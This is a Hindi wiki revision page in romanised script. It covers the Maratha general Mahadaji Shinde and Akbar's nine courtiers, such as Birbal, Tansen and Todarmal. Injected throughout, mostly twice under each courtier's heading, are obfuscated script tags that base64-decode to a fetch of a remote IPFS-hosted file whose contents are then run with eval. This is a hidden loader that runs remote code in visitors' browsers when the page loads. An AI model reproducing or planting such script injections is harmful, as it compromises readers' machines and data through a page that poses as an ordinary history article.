Difference between revisions of "प्रयोग:नवनीत8"
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| + | महादजी शिन्दे ([[अंग्रेज़ी]]: ''Mahadaji Shinde'', जन्म:1727 ई.- मृत्यु:[[12 फरवरी]] 1794 ई.) रणोजी सिंधिया का अवैध [[पुत्र]] और उत्तराधिकारी था। वह अंग्रेज़ों के औपनिवेशिक काल में प्रमुख रूप से सक्रिय था। महादजी शिन्दे एक बहुत ही महत्वाकांक्षी और सैनिक गुणों से सम्पन्न व्यक्ति था। अपनी तीव्र बुद्धि और सैनिक कुशलताओं के कारण ही वह [[मराठा साम्राज्य]] में विशिष्ट स्थान रखता था। उसकी [[मृत्यु]] 1794 ई. में हुई थी। | ||
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==अकबर के नवरत्न== | ==अकबर के नवरत्न== | ||
Revision as of 07:20, 16 June 2016
navanit8
| |
| poora nam | mahadaji shinde |
| janm | 1727 ee. |
| mrityu tithi | 12 pharavari 1794 ee. |
| pita/mata | saradar ranoji rav shiande |
| yuddh | tritiy yuddh- 1761 ee. |
| sanbandhit lekh | shivaji, shahaji bhoansale, shambhaji peshava, balaji vishvanath, bajirav pratham, bajirav dvitiy, rajaram shivaji, gvaliyar, daulatarav shinde, nana ph danavis, shahoo, salabaee ki sandhi, maratha samrajy |
| any janakari | peshava bajirav pratham ke shasan kal mean mahadaji shinde chhote se pad se padonnati karate hue uchch pad tak pahuanch gaya. 1761 ee. ke tritiy yuddh mean usane bhag liya aur ghav lagane ke karan sada ke lie lang da ho gaya. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
mahadaji shinde (aangrezi: Mahadaji Shinde, janm:1727 ee.- mrityu:12 pharavari 1794 ee.) ranoji siandhiya ka avaidh putr aur uttaradhikari tha. vah aangrezoan ke aupaniveshik kal mean pramukh roop se sakriy tha. mahadaji shinde ek bahut hi mahatvakaankshi aur sainik gunoan se sampann vyakti tha. apani tivr buddhi aur sainik kushalataoan ke karan hi vah maratha samrajy mean vishisht sthan rakhata tha. usaki mrityu 1794 ee. mean huee thi.
akabar ke navaratn
[[chitr:Court-Of-Akbar-From-Akbarnama.jpg|thumb|250px|akabaranama ke anusar, akabar ke darabar ka ek drishy]]
jalaluddin muhammad akabar bharat ka mahanatam mugal shanhashah badashah tha. jisane mugal shakti ka bharatiy upamahadvip ke adhikaansh hissoan mean vistar kiya. akabar ko akabar-ai-azam, shahanshah akabar tatha mahabali shahanshah ke nam se bhi jana jata hai.
akabar ke darabar ko sushobhit karane vale 9 ratn the-
birabal
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
navaratnoan mean sarvadhik prasiddh birabal ka janm kalapi mean 1528 ee. mean brahman vansh mean hua tha. birabal ke bachapan ka nam 'maheshadas' tha. yah akabar ke bahut hi nazadik tha. usaki chhavi akabar ke darabar mean ek kushal vakta, kahanikar evan kavi ki thi. akabar ne usaki yogyata se prabhavit hokar use (birabal) kaviraj evan raja ki upadhi pradan ki, sath hi 2000 ka manasab bhi pradan kiya. birabal pahala evan antim hindoo raja tha, jisane din-e-ilahi dharm ko svikar kiya tha. akabar ne birabal ko nagarakot, kaang da evan kalianjar mean jagirean pradan ki thian. 1583 ee. mean birabal ko nyay vibhag ka sarvochch adhikari banaya gaya. 1586 ee. mean yusufajiyoan ke vidroh ko dabane ke lie gaye birabal ki hatya kar di gee. abul fazal evan badayooanni ke anusar-akabar ko sabhi amiroan se adhik birabal ki mrityu par shok pahuancha tha.
abul fazal
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
soofi shekh mubarak ke putr abul fazal ka janm 1550 ee. mean hua tha. usane mugalakalin shiksha evan sahity mean apana bahumooly yogadan diya hai. 20 savaroan ke roop mean apana jivan arambh karane vale abul fazal ne apane charamotkarsh par 5000 savar ka manasab prapt kiya tha. vah akabar ka mukhy salahakar v sachiv tha. use itihas, darshan evan sahity par paryapt janakari thi. akabar ke din-e-ilahi dharm ka vah mukhy purohit tha. usane akabaranama evan aine akabari jaise mahattvapoorn granthoan ki rachana ki thi. 1602 ee. mean salim (jahaangir) ke nirdesh par dakshin se agara ki or a rahe abul fazal ki raste mean bundela saradar ne hatya kar di.
todaramal
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
uttar pradesh ke ek kshatriy kul mean paida hone vale todaramal ne apane jivan ki shuruat sherashah soori ke jahaan naukari karake ki thi. 1562 ee. mean akabar ki seva mean ane ke bad 1572 ee. mean use gujarat ka divan banaya gaya tatha bad mean 1582 ee. mean vah pradhanamantri ban gaya. divan-e-asharaf ke pad par kary karate hue todaramal ne bhoomi ke sambandh mean jo sudhar kie, ve ni:sandeh prashansaniy haian. todaramal ne ek sainik evan sena nayak ke roop mean bhi kary kiya. 1589 ee. mean todaramal ki mrityu ho gee.
tanasen
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sangit samrat tanasen ka janm gvaliyar mean hua tha. usake sangit ka prashansak hone ke nate akabar ne use apane nau ratnoan mean shamil kiya tha. usane kee ragoan ka nirman kiya tha. unake samay mean dhrupad gayan shaili ka vikas hua. akabar ne tanasen ko ‘kanthabharanavanivilas’ ki upadhi se sammanit kiya tha. tanasen ki pramukh kritiyaan thian-miyaan ki to di, miyaan ki malhar, miyaan ki sarang, darabari kanh da adi. sambhavat: usane islam dharm svikar kar liya tha.
manasianh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
amer ke raja bharamal ke pautr manasianh ne akabar ke samrajy vistar mean bahut hi mahattvapoorn bhoomika nibhaee thi. manasianh se sambandh hone ke bad akabar ne hinduoan ke sath udarata ka vyavahar karate hue jaziya kar ko samapt kar diya. kabul, bihar, bangal adi pradeshoan par manasianh ne saphal sainik abhiyan chalaya.
abdurrahim khanakhana
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bairam khaan ka putr abdurrahim uchch koti ka vidvan evan kavi tha. usane turki mean likhe babaranama ka farasi bhasha mean anuvad kiya tha. jahaangir abdurrahim ke vyaktitv se sarvadhik prabhavit tha, jo usaka guru bhi tha. rahim ko gujarat pradesh ko jitane ke bad akabar ne khanakhana ki upadhi se sammanit kiya tha.
mulla do pyaza
arab ka rahane vala pyaza humayooan ke samay mean bharat aya tha. akabar ke nau ratnoan mean usaka bhi sthan tha. bhojan mean use do pyaz adhik pasand tha. isilie akabar ne use do pyaza ki upadhi pradan ki thi.
haqim humam
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
yah akabar ke rasoee ghar ka pradhan tha.
faiji
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
abul fazal ka b da bhaee faizi akabar ke darabar mean raj kavi ke pad par asin tha. vah din-e-ilahi dharm ka kattar samarthak tha. 1595 ee. mean usaki mrityu ho gee.